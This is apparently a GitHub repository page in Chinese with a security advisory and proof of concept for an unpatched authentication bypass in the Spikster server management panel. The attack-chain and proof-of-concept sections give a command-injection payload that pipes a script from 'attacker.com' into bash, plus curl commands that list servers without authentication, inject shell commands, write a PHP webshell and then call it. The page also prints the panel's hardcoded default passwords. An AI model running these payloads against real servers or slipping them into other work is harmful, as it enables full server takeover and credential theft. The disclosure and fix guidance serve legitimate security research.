Kimdir01/spikster-auth-bypass-cve
GitHub: Kimdir01/spikster-auth-bypass-cve
Spikster 服务器管理面板的完整 API 身份验证绕过漏洞 PoC,演示了因认证中间件被注释导致的未授权完全控制及远程代码执行。
Stars: 0 | Forks: 0
# GitHub 安全公告:Spikster — 完全的 API 身份验证绕过
## 公告信息
| 字段 | 值 |
|-------|-------|
| **严重性** | 严重 |
| **CWE** | CWE-306(关键功能缺失身份验证) |
| **CVSS v3.1** | 10.0 |
| **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
## 摘要
Spikster 服务器管理面板(基于 Laravel 的 cPanel 替代品)的**整个 API 身份验证中间件已被注释掉**,允许未经身份验证的攻击者在受管理的服务器上执行任意 shell 命令,读取/写入/删除任意文件,并访问所有 SSH/MySQL 凭证。
## 漏洞详情
### 受影响的包/代码库
- **代码库:** `spikster/site-manager`(Laravel 服务器管理面板)
- **受影响版本:** 当前版本(所有已审计版本)
- **修复版本:** 无(0-day)
**提交哈希(已审计):** `e1cdf8c4b780c87457b548c38a87982b549e2465`
### 描述
**根本原因:** 位于 `app/Http/Middleware/CipiAuth.php` 的 `CipiAuth` 中间件的整个身份验证逻辑已被注释掉(第 24-72 行)。`routes/api.php` 中的每个 API 路由都使用了 `api` 中间件组,该组仅包含限流功能——没有任何身份验证。
**三个单独的身份验证绕过攻击向量:**
1. **API 路由 (`/api/*`):** `api` 中间件组没有身份验证中间件。所有 API endpoint 在没有身份验证的情况下返回数据。
2. **Shell/配置路由 (`/sh/*`, `/conf/*`):** 这些路由提供嵌入了密码的 shell 脚本。它们具有**零中间件**——完全没有身份验证。
3. **文件管理器路由:** `FileManagerController` 注册在 `api.php` 中,没有身份验证中间件,允许在服务器文件系统上进行任意文件读取/写入/删除。
中间件文件 `CipiAuth.php` 第 24-72 行:
```
// THE ENTIRE AUTH HANDLER IS COMMENTED OUT:
// public function handle($request, Closure $next)
// {
// ... all auth logic removed ...
// }
```
### 攻击链(30秒内完全接管服务器):
1. `GET /api/servers` → 返回所有服务器的 IP 和 SSH 凭证
2. 带有 `{"package": "nginx;curl attacker.com/shell.sh|bash"}` 的 `POST /api/servers/{id}/packages/install` → 远程代码执行 (RCE)
3. `POST /files/store` → 将 PHP webshell 写入 webroot
### 同一代码库中的其他漏洞:
- 通过 SSH exec 中未经处理的用户输入产生的 **12 个命令注入攻击向量**(站点创建、SSL、PHP 版本更改、Node.js 设置、MySQL 密码重置、supervisor 配置)
- **硬编码的默认凭证:** `config/cipi.php` 中的 `admin@localhost / password`
- `DatabaseService.php` 中**硬编码的 MySQL 密码**回退机制
- `ServerController.php` 中**硬编码的面板密码** `'Secret_123'`
- 用于 PMA 自动登录的 **GET URL 中的凭证**
- **进程列表中的凭证**(所有 SSH 任务都通过 `echo | sudo -S` 传递密码)
- **无 CSRF 保护**
- **完全的 IDOR** — Site/Server 模型上没有 `user_id`
## 影响
- **完全控制服务器** — 攻击者可以在所有受管理的服务器上执行任意命令
- **凭证窃取** — 所有 SSH 密钥、MySQL 密码、服务器凭证泄露
- 在 Web 服务器文件系统上**任意读取/写入/删除文件**
- **数据泄露** — 所有客户数据、服务器配置、数据库内容
- **横向移动** — 访问该面板管理的所有服务器
## 概念验证
### 第 1 步:列出所有受管理的服务器(未经身份验证)
```
curl -s http://target.example.com/api/servers
```
返回包含所有服务器 IP、主机名、SSH 凭证的 JSON。
### 第 2 步:在目标服务器上执行命令(未经身份验证)
```
curl -X POST http://target.example.com/api/servers/1/packages/install \
-H "Content-Type: application/json" \
-d '{"package": "nginx; id > /var/www/html/pwned.txt"}'
```
### 第 3 步:通过文件管理器写入任意文件(未经身份验证)
```
curl -X POST http://target.example.com/files/store \
-H "Content-Type: application/json" \
-d '{"content": {"pathName": "/var/www/html/shell.php"}, "data": ""}'
```
### 第 4 步:访问 webshell
```
curl http://target.example.com/shell.php?cmd=whoami
```
## 补丁/修复
### 立即修复:
```
// In app/Http/Middleware/CipiAuth.php — UNCOMMENT the auth handler
public function handle($request, Closure $next)
{
if (!$request->user()) {
return response()->json(['error' => 'Unauthorized'], 401);
}
return $next($request);
}
```
### 其他必需的修复:
1. 将 `escapeshellarg()` 添加到所有 SSH 命令构建中
2. 从 `config/cipi.php` 中删除硬编码的凭证
3. 将 `user_id` 外键添加到 Site/Server 模型以防止 IDOR
4. 将 CSRF token 添加到所有会更改状态的 endpoint
5. 切勿通过命令行参数传递凭证(使用 stdin 或环境变量)
## 披露时间线
- **2026-06-28:** 由 Fatullayev Asadbek (Kimdir01) 发现漏洞
- **待定 (TBD):** 向维护者报告
- **待定 (TBD):** 申请 CVE
- **待定 (TBD):** 发布公告
## 致谢
- 发现者:Fatullayev Asadbek | GitHub: Kimdir01
- 独立安全研究员
## 参考
- CWE-306:关键功能缺失身份验证
- CWE-78:操作系统命令注入
- CWE-798:硬编码的凭证
标签:API身份验证绕过, Cutter, PoC, StruQ, Web安全, Web报告查看器, 暴力破解, 服务器接管, 网络安全审计, 蓝队分析